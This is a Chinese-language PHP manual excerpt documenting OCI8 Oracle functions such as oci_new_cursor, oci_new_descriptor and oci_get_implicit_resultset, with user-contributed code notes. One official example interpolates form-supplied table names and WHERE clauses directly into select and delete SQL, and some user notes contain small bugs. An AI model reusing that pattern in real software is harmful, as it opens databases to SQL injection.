返回字段的数据类型名称。

参数

statement

有效的 OCI 语句标识符。

column

可以是字段的索引（从1开始），也可以是名称。

返回值

返回 string 或 int 类型的字段数据类型， 或者在失败时返回 false

示例

Example #1 oci_field_type() 示例

<?php

// Create the table with:
// CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
// clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

echo "<table border=\"1\">\n";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
$column_name = oci_field_name($stid, $i);
$column_type = oci_field_type($stid, $i);
$column_size = oci_field_size($stid, $i);

echo "<tr>";
echo "<td>$column_name</td>";
echo "<td>$column_type</td>";
echo "<td>$column_size</td>";
echo "</tr>\n";
}

echo "</table>\n";

// Outputs:
// Name Type Length
// NUMBER_COL NUMBER 22
// VARCHAR2_COL VARCHAR2 1
// CLOB_COL CLOB 4000
// DATE_COL DATE 7

oci_free_statement($stid);
oci_close($conn);

?>

参见

  • oci_num_fields() - 返回语句中结果列的数量
  • oci_field_name() - 返回 statement 中的字段名
  • oci_field_size() - 返回字段大小

User Contributed Notes

There are no user contributed notes for this page.


Frees a descriptor

  • ? oci_field_type
  • oci_free_statement ?
  • PHP Manual
  • OCI8 函数
  • Frees a descriptor

oci_free_descriptor

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_free_descriptor — Frees a descriptor

说明

oci_free_descriptor(OCILob $lob): bool

Frees a descriptor allocated by oci_new_descriptor().

参数

descriptor

Descriptor allocated by oci_new_descriptor().

返回值

成功时返回 true， 或者在失败时返回 false。

注释

Note:

This function is commonly used as a method OCILOB::free.

参见

  • OCILOB::free

User Contributed Notes

There are no user contributed notes for this page.


释放关联于语句或游标的所有资源

  • ? oci_free_descriptor
  • oci_get_implicit_resultset ?
  • PHP Manual
  • OCI8 函数
  • 释放关联于语句或游标的所有资源

oci_free_statement

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_free_statement — 释放关联于语句或游标的所有资源

说明

oci_free_statement(resource $statement): bool

oci_free_statement() 释放关联于 Oracle 游标或语句的资源，该资源是作为 oci_parse() 的结果或者是从 Oracle 取得。

参数

statement

有效的 OCI 语句。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

passerbyxp at gmail dot com 19-Dec-2012 08:37
A freed statement is not "empty()", it's still a resource:

<?php
$con=oci_connect(/*connect*/);
$q=oci_parse($con,"SELECT sysdate FROM dual");
var_dump($q); // resource(5) of type (oci8 statement)
var_dump(empty($q)); // bool(false)
var_dump(oci_statement_type($q)); // string(6) "SELECT"
echo "------\n";
oci_execute($q);
var_dump($q); // same as above
var_dump(empty($q));
var_dump(oci_statement_type($q));
echo "------\n";
oci_free_statement($q);
var_dump($q); // resource(5) of type (Unknown)
var_dump(empty($q)); // bool(false)
var_dump(oci_statement_type($q)); // generates warning and returns false
oci_close($con);
?>

So far I can not think of a way to determine if a statement is freed without using an additional flag...
Jen M. 02-Oct-2008 11:05
oci_free_statement doesn't always free up cursors.  I had a query where I performed the following functions in a loop:

OCIParse
OCIExecute
Oci_fetch_assoc
(Grab some field values)
OciFreeStatement

I didn't specify the use of a cursor, but ran into a "maximum
open cursors exceeded" error.  Within my code, I had one "select * from table_with_lobs" query.  When I changed the query to be "select a, b, c, from table_with_lobs" (where I specified the actual column names and where those columns were not LOB fields) the error message went away and I didn't have to resort to upping the max_open_cursors value in Oracle.
rada at instinctive dot it 04-Mar-2008 08:46
If you are using cursors, make sure to free the statement *and* the cursor, especially if there is a possibility of running the proc/cursor again (e.g. with different parameters).

<?php

    oci_execute($stmt);
    oci_execute($crsr);

    // iterate through cursor...

    oci_free_statement($stmt);
    oci_free_statement($crsr);
?>

You need to do it explicitly, closing connection for example does not seem to release the cursor.


Returns the next child statement resource from a parent statement resource that has Oracle Database Implicit Result Sets

  • ? oci_free_statement
  • oci_lob_copy ?
  • PHP Manual
  • OCI8 函数
  • Returns the next child statement resource from a parent statement resource that has Oracle Database Implicit Result Sets

oci_get_implicit_resultset

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL OCI8 >= 2.0.0)

oci_get_implicit_resultset — Returns the next child statement resource from a parent statement resource that has Oracle Database Implicit Result Sets

说明

oci_get_implicit_resultset(resource $statement): resource|false

Used to fetch consectutive sets of query results after the execution of a stored or anonymous Oracle PL/SQL block where that block returns query results with the Oracle Database 12 (or later) DBMS_SQL.RETURN_RESULT PL/SQL function. This allows PL/SQL blocks to easily return query results.

The child statement can be used with any of the OCI8 fetching
functions: oci_fetch(), oci_fetch_all(),
oci_fetch_array(), oci_fetch_object(),
oci_fetch_assoc() or oci_fetch_row()

Child statements inherit their parent statement's prefetch value, or it can be explicitly set with oci_set_prefetch().

参数

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(). The statement identifier may or may not be associated with a SQL statement that returns Implicit Result Sets.

返回值

Returns a statement handle for the next child statement available on statement. Returns false when child statements do not exist, or all child statements have been returned by previous calls to oci_get_implicit_resultset().

示例

Example #1 Fetching Implicit Result Sets in a loop

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
c1 SYS_REFCURSOR;
BEGIN
OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (($stid_c = oci_get_implicit_resultset($stid))) {
echo "<h2>New Implicit Result Set:</h2>\n";
echo "<table>\n";
while (($row = oci_fetch_array($stid_c, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";
}

// Output is:
// New Implicit Result Set:
// Beijing 190518
// Bern 3095
// Bombay 490231
// New Implicit Result Set:
// CN
// CH
// IN

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 Getting child statement handles individually

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
c1 SYS_REFCURSOR;
BEGIN
OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

$stid_1 = oci_get_implicit_resultset($stid);
$stid_2 = oci_get_implicit_resultset($stid);

$row = oci_fetch_array($stid_1, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_2, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_1, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_2, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);

// Output is:
// array(2) {
// ["CITY"]=>
// string(7) "Beijing"
// ["POSTAL_CODE"]=>
// string(6) "190518"
// }
// array(1) {
// ["COUNTRY_ID"]=>
// string(2) "CN"
// }
// array(2) {
// ["CITY"]=>
// string(4) "Bern"
// ["POSTAL_CODE"]=>
// string(4) "3095"
// }
// array(1) {
// ["COUNTRY_ID"]=>
// string(2) "CH"
// }

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 Explicitly setting the Prefetch Count

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
c1 SYS_REFCURSOR;
BEGIN
OPEN c1 FOR SELECT city, postal_code FROM locations ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

$stid_c = oci_get_implicit_resultset($stid);
oci_set_prefetch($stid_c, 200); // Set the prefetch before fetching from the child statement
echo "<table>\n";
while (($row = oci_fetch_array($stid_c, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #4 Implicit Result Set example without using oci_get_implicit_resultset()

All results from all queries are returned consecutively.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
c1 SYS_REFCURSOR;
BEGIN
OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

// Note: oci_fetch_all and oci_fetch() cannot be used in this manner
echo "<table>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

// Output is:
// Beijing 190518
// Bern 3095
// Bombay 490231
// CN
// CH
// IN

oci_free_statement($stid);
oci_close($conn);

?>

注释

Note:

查询返回巨大数量的数据行时，通过增大 oci8.default_prefetch 值或使用 oci_set_prefetch() 可显著提高性能。

User Contributed Notes

There are no user contributed notes for this page.


Copies large object

  • ? oci_get_implicit_resultset
  • oci_lob_is_equal ?
  • PHP Manual
  • OCI8 函数
  • Copies large object

oci_lob_copy

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_lob_copy — Copies large object

说明

oci_lob_copy(OCILob $to, OCILob $from, ?int $length = null): bool

Copies a large object or a part of a large object to another large object. Old LOB-recipient data will be overwritten.

If you need to copy a particular part of a LOB to a particular position of a LOB, use OCILob::seek() to move LOB internal pointers.

参数

to

The destination LOB.

from

The copied LOB.

length

Indicates the length of data to be copied.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | length is now nullable.

注释

Note:

The OCILob class was called OCI-Lob prior to PHP 8 and PECL OCI8 3.0.0.

User Contributed Notes

There are no user contributed notes for this page.


Compares two LOB/FILE locators for equality

  • ? oci_lob_copy
  • oci_new_collection ?
  • PHP Manual
  • OCI8 函数
  • Compares two LOB/FILE locators for equality

oci_lob_is_equal

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_lob_is_equal — Compares two LOB/FILE locators for equality

说明

oci_lob_is_equal(OCILob $lob1, OCILob $lob2): bool

Compares two LOB/FILE locators.

参数

lob1

A LOB identifier.

lob2

A LOB identifier.

返回值

Returns true if these objects are equal, false otherwise.

注释

Note:

The OCILob class was called OCI-Lob prior to PHP 8 and PECL OCI8 3.0.0.

User Contributed Notes

There are no user contributed notes for this page.


分配新的 collection 对象

  • ? oci_lob_is_equal
  • oci_new_connect ?
  • PHP Manual
  • OCI8 函数
  • 分配新的 collection 对象

oci_new_collection

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_collection — 分配新的 collection 对象

说明

oci_new_collection(resource $connection, string $type_name, ?string $schema = null): OCICollection|false

分配新的 collection 对象。

参数

connection

Oracle 连接标识符，由 oci_connect() 或 oci_pconnect() 返回。

type_name

应该是有效的命名类型（大写）。

schema

应该指向创建命名类型的 scheme 。当传递 null 时，使用当前用户名。

返回值

返回新 OCICollection 对象，或者当失败时返回 false。

更新日志

版本 | 说明
8.0.0、PECL OCI8 3.0.0 | schema 现在可为 null。

注释

Note:

OCICollection 类在 PHP 8 和 OCI8 3.0.0 之前叫做 OCI-Collection。

User Contributed Notes

VLroyrenn 27-Mar-2018 03:39
This is a woefully underdocumented feature (at least here), but being able to bind collections to prepared statements instead of rolling your own SQL arrays is a massive improvement in terms of safety and conveinience, and a feature I think more DBMS should have in their API.

You can basically send collections of the types listed by the following query :

SELECT * FROM SYS.ALL_TYPES WHERE TYPECODE = 'COLLECTION' AND TYPE_NAME LIKE 'ODCI%'

Those are all collections that can contain any number of the SQL type indicated in their name.

<?php
$my_array = ["foo", "bar", "baz"];

$my_collection = oci_new_collection($conn, 'ODCIVARCHAR2LIST', 'SYS');

foreach($my_array as $elem) {
    $cell_collection->append($elem);
}

oci_bind_by_name($statement, ":collection", $my_collection, -1, SQLT_NTY);
?>

The collection ressource can be appended with numbers, strings or dates (which need to be passed as strings in the "DD-MON-YY" format, such as "27-MAR-18", apparently) depending on the types supported by the collection you're using, and none of these appear to support timestamps or any of the more complex data types.

Code for the OCI collection type, for reference :

http://git.php.net/?p=php-src.git;a=blob;f=ext/oci8/oci8_collection.c;hb=refs/heads/master#l429


使用唯一连接，连接到 Oracle 服务器

  • ? oci_new_collection
  • oci_new_cursor ?
  • PHP Manual
  • OCI8 函数
  • 使用唯一连接，连接到 Oracle 服务器

oci_new_connect

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_connect — 使用唯一连接，连接到 Oracle 服务器

说明

oci_new_connect(
string $username,
string $password,
?string $connection_string = null,
string $encoding = "",
int $session_mode = OCI_DEFAULT
): resource|false

建立与 Oracle 服务器的新连接并登录。

与 oci_connect() 和 oci_pconnect() 不同，oci_new_connect() 不缓存连接并且始终返回全新的刚打开的连接句柄。如果应用程序需要在两组查询之间进行事务隔离，这将很有用。

参数

username

Oracle 用户名。

password

username 的密码。

connection_string

包含要连接的 Oracle 实例。可以是 » Easy Connect 串，或是 tnsnames.ora 文件中的连接名，或是本地 Oracle 实例名。

如果不指定或者为 null，PHP 使用环境变量来确定连接的 Oracle 实例，诸如 TWO_TASK（Linux 下）或 LOCAL（Windows 下）与 ORACLE_SID 等。

要使用 Easy Connect 命名方法，PHP 必须与 Oracle 10g 或更高版本的客户端库进行链接。Oracle 10g 的 Easy Connect 串格式：[//]host_name[:port][/service_name]。Oracle 11g 则为：[//]host_name[:port][/service_name][:server_type][/instance_name]。 在 Oracle 19c 加入类更多选项，例如 timeout 和 keep-alive 设置。 请参考 Oracle 文档。 服务名可在数据库服务器机器上运行 Oracle 实用程序 lsnrctl status 找到。

tnsnames.ora 文件可在 Oracle Net 查找路径中，此路径包括 /your/path/to/instantclient/network/admin、$ORACLE_HOME/network/admin 、/etc。 另一种方法是设置 TNS_ADMIN 以便通过 $TNS_ADMIN/tnsnames.ora 来读取。表确认 web 守护进程可读取此文件。

encoding

使用 Oracle 客户端库来确定字符集。字符集不需要与数据库的字符集相匹配。如果不匹配，Oracle 会尽可能地将数据从数据库字符集进行转换。因为依赖于字符集，可能不能给出可用的结果。转换也增加一些时间开销。

如果不指定，Oracle 客户端用 NLS_LANG 环境变量来决定字符集。

传递此参数可减少连接时间。

session_mode

此参数在 PHP 5（PECL OCI8 1.1）版本开始可用，并收受下列值：OCI_DEFAULT，OCI_SYSOPER 和 OCI_SYSDBA。如为 OCI_SYSOPER 或 OCI_SYSDBA 其中之一，此函数将会使用外部的证书建立有特权的连接。有特权的连接默认是禁用的。需要将 oci8.privileged_connect 设为 On 来启用。

PHP 5.3（PECL OCI8 1.3.4）引进了 OCI_CRED_EXT 模式值。使用外部或操作系统认证必需在 Oracle 数据库中进行配置。OCI_CRED_EXT 标志只可用于用户为 "/"，密码为空的情况。oci8.privileged_connect 可为 On 或 Off。

OCI_CRED_EXT 可与 OCI_SYSOPER 或 OCI_SYSDBA 模式组合使用。

OCI_CRED_EXT 由于安全的原因不支持 Windows 系统。

返回值

返回连接标识符或错误时为 false。

更新日志

版本 | 说明
8.0.0、PECL OCI8 3.0.0 | connection_string 现在可为 null。

示例

下面演示了如何分离连接。

Example #1 oci_new_connect() 示例

<?php

// create table mytab (mycol number);

function query($name, $c)
{
echo "Querying $name\n";
$s = oci_parse($c, "select * from mytab");
oci_execute($s, OCI_NO_AUTO_COMMIT);
$row = oci_fetch_array($s, OCI_ASSOC);
if (!$row) {
echo "No rows\n";
} else {
do {
foreach ($row as $item)
echo $item . " ";
echo "\n";
} while (($row = oci_fetch_array($s, OCI_ASSOC)) != false);
}
}

$c1 = oci_connect("hr", "welcome", "localhost/orcl");
$c2 = oci_new_connect("hr", "welcome", "localhost/orcl");

$s = oci_parse($c1, "insert into mytab values(1234)");
oci_execute($s, OCI_NO_AUTO_COMMIT);

query("basic connection", $c1);
query("new connection", $c2);
oci_commit($c1);
query("new connection after commit", $c2);

// Output is:
// Querying basic connection
// 1234
// Querying new connection
// No rows
// Querying new connection after commit
// 1234

?>

有关参数使用的更多示例，请参见 oci_connect()。

参见

  • oci_connect() - 建立一个到 Oracle 服务器的连接
  • oci_pconnect() - 使用持久连接连，连接到 Oracle 数据库

User Contributed Notes

There are no user contributed notes for this page.


分配并返回新的游标（语句句柄）

  • ? oci_new_connect
  • oci_new_descriptor ?
  • PHP Manual
  • OCI8 函数
  • 分配并返回新的游标（语句句柄）

oci_new_cursor

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_cursor — 分配并返回新的游标（语句句柄）

说明

oci_new_cursor(resource $connection): resource|false

在指定连接上分配新的语句句柄。

参数

connection

Oracle 连接标识符，由 oci_connect() 或 oci_pconnect() 返回。

返回值

返回新的语句句柄，或者失败时返回 false。

示例

Example #1 在调用 Oracle 存储过程中绑定 REF CURSOR

<?php

// Precreate:
// create or replace procedure myproc(myrc out sys_refcursor) as
// begin
// open myrc for select first_name from employees;
// end;

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$curs = oci_new_cursor($conn);
$stid = oci_parse($conn, "begin myproc(:cursbv); end;");
oci_bind_by_name($stid, ":cursbv", $curs, -1, OCI_B_CURSOR);
oci_execute($stid);

oci_execute($curs); // Execute the REF CURSOR like a normal statement id
while (($row = oci_fetch_array($curs, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo $row['FIRST_NAME'] . "<br />\n";
}

oci_free_statement($stid);
oci_free_statement($curs);
oci_close($conn);

?>

User Contributed Notes

mgumiel at mgait dot com 08-Nov-2012 09:15
Some packages in oracle are functions, and that functions returns a cursor.

For example:

CREATE FUNCTION F_Function( p1 char(2), p2 int)
  RETURN SYS_REFCURSOR
AS
  my_cursor SYS_REFCURSOR;
BEGIN
  OPEN my_cursor FOR SELECT * FROM allitems
                           WHERE (cod=p1)
                                      AND (Number=p2);
  RETURN my_cursor;
END F_Function;

Here is the code that allows to obtain data from a function that returns a cursor.

<pre>
<?php
 $conn=oci_connect("server", "user", "pass");
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

    //You must asign before.
    $p1 = '03';
    $p2 = 2012016191;

    $stid = oci_parse($conn, 'begin :cursor := server.PKG_package.F_Function(:p1,:p2); end;');
    $p_cursor = oci_new_cursor($conn);

    //Send parameters variable  value  lenght
    oci_bind_by_name($stid, ':p1', $p1,2);
    oci_bind_by_name($stid, ':p2', $p2,10);

    //Bind Cursor     put -1
    oci_bind_by_name($stid, ':cursor', $p_cursor, -1, OCI_B_CURSOR);

    // Execute Statement
    oci_execute($stid);
    oci_execute($p_cursor, OCI_DEFAULT);

    oci_fetch_all($p_cursor, $cursor, null, null, OCI_FETCHSTATEMENT_BY_ROW);
    echo '<br>';
    print_r($cursor);
 ?>
sixd at php dot net 27-Jan-2010 10:41
Oracle 11.2 introduced support for REF CURSOR prefetching
sixd at php dot net 05-Nov-2008 12:13
Because OCI8 uses "prefetching" to greatly improve returning query results, but Oracle doesn't support prefetching for REF CURSORs, application performance using REF CURSORs can be greatly improved by writing a PL/SQL function that pulls data from the REF CURSOR and PIPEs the output. The new function can be queried in a SELECT as if it were a table.  See http://blogs.oracle.com/opal/2008/11/
converting_ref_cursor_to_pipe.html


初始化新的空 LOB 或 FILE 描述符

  • ? oci_new_cursor
  • oci_num_fields ?
  • PHP Manual
  • OCI8 函数
  • 初始化新的空 LOB 或 FILE 描述符

oci_new_descriptor

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_descriptor — 初始化新的空 LOB 或 FILE 描述符

说明

oci_new_descriptor(resource $connection, int $type = OCI_DTYPE_LOB): ?OCILob

分配保存描述符或 LOB 定位器的资源。

参数

connection

Oracle 连接标识符，由 oci_connect() 或 oci_pconnect() 返回。

type

type 的有效值是：OCI_DTYPE_FILE、OCI_DTYPE_LOB 和 OCI_DTYPE_ROWID。

返回值

成功时返回新 LOB 或 FILE 描述符，失败时为 null。

示例

Example #1 oci_new_descriptor() 示例

<?php
/* This script is designed to be called from a HTML form.
* It expects $user, $password, $table, $where, and $commitsize
* to be passed in from the form. The script then deletes
* the selected rows using the ROWID and commits after each
* set of $commitsize rows. (Use with care, there is no rollback)
*/
$conn = oci_connect($user, $password);
$stmt = oci_parse($conn, "select rowid from $table $where");
$rowid = oci_new_descriptor($conn, OCI_D_ROWID);
oci_define_by_name($stmt, "ROWID", $rowid);
oci_execute($stmt);
while (oci_fetch($stmt)) {
$nrows = oci_num_rows($stmt);
$delete = oci_parse($conn, "delete from $table where ROWID = :rid");
oci_bind_by_name($delete, ":rid", $rowid, -1, OCI_B_ROWID);
oci_execute($delete);
echo "$nrows\n";
if (($nrows % $commitsize) == 0) {
oci_commit($conn);
}
}
$nrows = oci_num_rows($stmt);
echo "$nrows deleted...\n";
oci_free_statement($stmt);
oci_close($conn);
?>
<?php
/* This script demonstrates file upload to LOB columns
* The formfield used for this example looks like this
* <form action="upload.php" method="post" enctype="multipart/form-data">
* <input type="file" name="lob_upload" />
* ...
*/
if (!isset($lob_upload) || $lob_upload == 'none'){
?>
<form action="upload.php" method="post" enctype="multipart/form-data">
Upload file: <input type="file" name="lob_upload" /><br />
<input type="submit" value="Upload" /> - <input type="reset" value="Reset" />
</form>
<?php
} else {

// $lob_upload contains the temporary filename of the uploaded file

// see also the features section on file upload,
// if you would like to use secure uploads

$conn = oci_connect($user, $password);
$lob = oci_new_descriptor($conn, OCI_D_LOB);
$stmt = oci_parse($conn, "insert into $table (id, the_blob)
values(my_seq.NEXTVAL, EMPTY_BLOB()) returning the_blob into :the_blob");
oci_bind_by_name($stmt, ':the_blob', $lob, -1, OCI_B_BLOB);
oci_execute($stmt, OCI_DEFAULT);
if ($lob->savefile($lob_upload)){
oci_commit($conn);
echo "Blob successfully uploaded\n";
}else{
echo "Couldn't upload Blob\n";
}
$lob->free();
oci_free_statement($stmt);
oci_close($conn);
}
?>

Example #2 oci_new_descriptor() 示例

<?php
/* Calling PL/SQL stored procedures which contain clobs as input
* parameters.
* Example PL/SQL stored procedure signature is:
*
* PROCEDURE save_data
* Argument Name Type In/Out Default?
* ------------------------------ ----------------------- ------ --------
* KEY NUMBER(38) IN
* DATA CLOB IN
*
*/

$conn = oci_connect($user, $password);
$stmt = oci_parse($conn, "begin save_data(:key, :data); end;");
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ':key', $key);
oci_bind_by_name($stmt, ':data', $clob, -1, OCI_B_CLOB);
$clob->write($data);
oci_execute($stmt, OCI_DEFAULT);
oci_commit($conn);
$clob->free();
oci_free_statement($stmt);
?>

参见

  • oci_bind_by_name() - 绑定 PHP 变量到 Oracle 位置标志符

User Contributed Notes

Mike 15-May-2012 08:46
If you're passing a clob variable to oracle stored procedure, you could:

<?php
$qry = 'begin my_sp(:largetext); end;';
$stmt = oci_parse($conn, $qry); //definition of $conn is not included here
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ":largetext", $clob, -1, OCI_B_CLOB);
$clob->writetemporary($mylargedata);
oci_execute($stmt);
$clob->free();
oci_free_statement($stmt);
?>

Hopefully this will help!
ajitsingh4u at gmail dot com 09-May-2008 06:31
<?php
// calling stored procedure to get clob data type (we use to get xml from oracle)

error_reporting(E_ALL ^ E_NOTICE);

$conn = oci_connect($user, $password);

$sql = "BEGIN sp_employee_xml_data_select(:result); END;";
$stmt = oci_parse($conn , $sql);

$objClob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ':result', $objClob, -1, OCI_B_CLOB);

oci_execute($stmt, OCI_DEFAULT);
$xmlData = $objClob->load($result);

$objClob->free();
oci_free_statement($stmt);

echo $xmlData;

?>
Ben Hubbard ben at vonik dot com 07-Apr-2006 09:57
Here is another example of how to insert a BLOB into table using a PL/SQL function.

Oracle Database Code:

create table blob_table ( the_blob blob);

create or replace function insert_blob(out_blob out blob)
    return integer is
    begin
       insert into blob_table values (EMPTY_BLOB())
         return the_blob into out_blob;
       return 0; /* Success */
    end insert_blob;

PHP Code:

<?php
  $iResult = -1;
  $strTestData = 'Testing 123';
  $conn = oci_connect($user, $password);
  $stmt = oci_parse($conn, "begin :RES := insert_blob(:OUT_BLOB); end;");

  $objBlob = oci_new_descriptor($conn, OCI_D_LOB);
  oci_bind_by_name($stmt, ":RES", $iResult);
  oci_bind_by_name($stmt, ":OUT_BLOB", $objBlob, -1, OCI_B_BLOB);
  oci_execute($stmt, OCI_DEFAULT);
  $objBlob->write($strTestData);
  oci_commit($conn);
  $objBlob->free();
  oci_free_statement($stmt);
?>
kirt at diagonalsoftware dot com 27-Jul-2005 07:43
Here is an example of retrieving a CLOB as an output parameter from a stored procedure. This is a bit hack-y and maybe there's a cleaner way to do this, but I couldn't find one. The following definitely works with Oracle 9:

// the query to call the procedure, which includes declaring the
// output parameter and assigning the result to a variable to be bound.
$qry = '
declare clob_out clob;
begin
  myprocedure(someparam_in, clob_out);
  :myclob := clob_out;
end;
';

// parse the query and bind the 'myclob' variable
$sth = OCIParse($conn,$qry);
$myclob = OCINewDescriptor($conn,OCI_D_LOB);
OCIBindByName($sth,":myclob",$myclob,-1,OCI_B_CLOB);

OCIExecute($sth);

// display the results
echo $myclob->load();
<Serg Petrenko> pserg at inkfrog dot com 08-Jun-2005 09:22
How to insert big XML data as CLOB into table with XMLType field.

<?php

//CREATE TABLE sometable(
//id number(8) not null,
//record XMLType
//) XMLTYPE COLUMN record STORE AS OBJECT RELATIONAL
//XMLSCHEMA "someschema" ELEMENT "some_element";
//

$sql = "INSERT INTO sometable(id, record) VALUES(some_sequqnce.nextval, sys.xmltype.createxml(:rec)) RETURNING ID INTO :rid";
$stmt = OCIParse($ora_conn,$sql);
$clob = OCINewDescriptor($ora_conn, OCI_D_LOB);
$rowid = OCINewDescriptor($ora_conn,OCI_D_ROWID);
OCIBindByName($stmt, ':rec', &$clob, -1,OCI_B_CLOB);
OCIBindByName($stmt, ':rid', $rowid, -1);
$clob->WriteTemporary($xml,OCI_TEMP_CLOB);
$success = OCIExecute($stmt,OCI_DEFAULT);
if(!$success) {
OCICommit($ora_conn);
}
OCIFreeStatement($stmt);
OCIFreeDesc($lob);

?>

I hope it will help :)
cyrill@_malevanov_dot_spb_dot_ru 10-May-2004 01:05
Passing CLOB to stored procedure and retrieve CLOB too (function lobinout(a in clob) return clob)

<?
    error_reporting(1+2+4+8);
    $conn = OCILogon('batdtd', 'batdtd', 'batxml');

    $lobin = OCINewDescriptor($conn, OCI_D_LOB);
    $lobout = OCINewDescriptor($conn, OCI_D_LOB);

    $stmt = OCIParse($conn, "declare rs clob; begin :rs := lobinout(:par); end;");
    $lob_data = 'abcdefgh';

    echo "binding lobin...";
    OCIBindByName($stmt, ':par', $lobin, -1, OCI_B_CLOB);

    echo "done<br>binding rs...";

    OCIBindByName($stmt, ':rs', $lobout, -1, OCI_B_CLOB);

    echo "done<br>writing temp lob...";
             // here we pass data to func
    $lobin -> WriteTemporary($lob_data);
    echo "done<br>executing...";

    OCIExecute($stmt, OCI_DEFAULT);
             // here we load data returned from func
    echo "done<br>rs = ".$lobout->load();
    OCICommit($conn);
    $lobin -> free();
    $lobout -> free();
    OCIFreeStatement($stmt);
    OCILogoff($conn);
?>
cjbj at hotmail dot com 16-Mar-2004 10:55
In PHP5 the way Example 2 passes a CLOB bind variable as an input
parameter to a PL/SQL procedure can be extended to BLOBs.

The critical change is:

    OCIBindByName($stmt, ':data', $blob, -1, OCI_B_BLOB);
    $blob->WriteTemporary($data, OCI_B_BLOB);

This doesn't work for me in PHP4.  I believe it is because the
implementation of OCIWriteTemporaryLob() always binds as a CLOB.
(This is true as of php4-STABLE-200403170230).  In PHP5 the interface
has changed and a type parameter is permitted.
Nathan Rogers 05-Nov-2003 03:35
I found another method of inserting/updating lob data.  It works the same was as passing lob parameters to a stored procedure and avoids the need for a RETURNING clause.
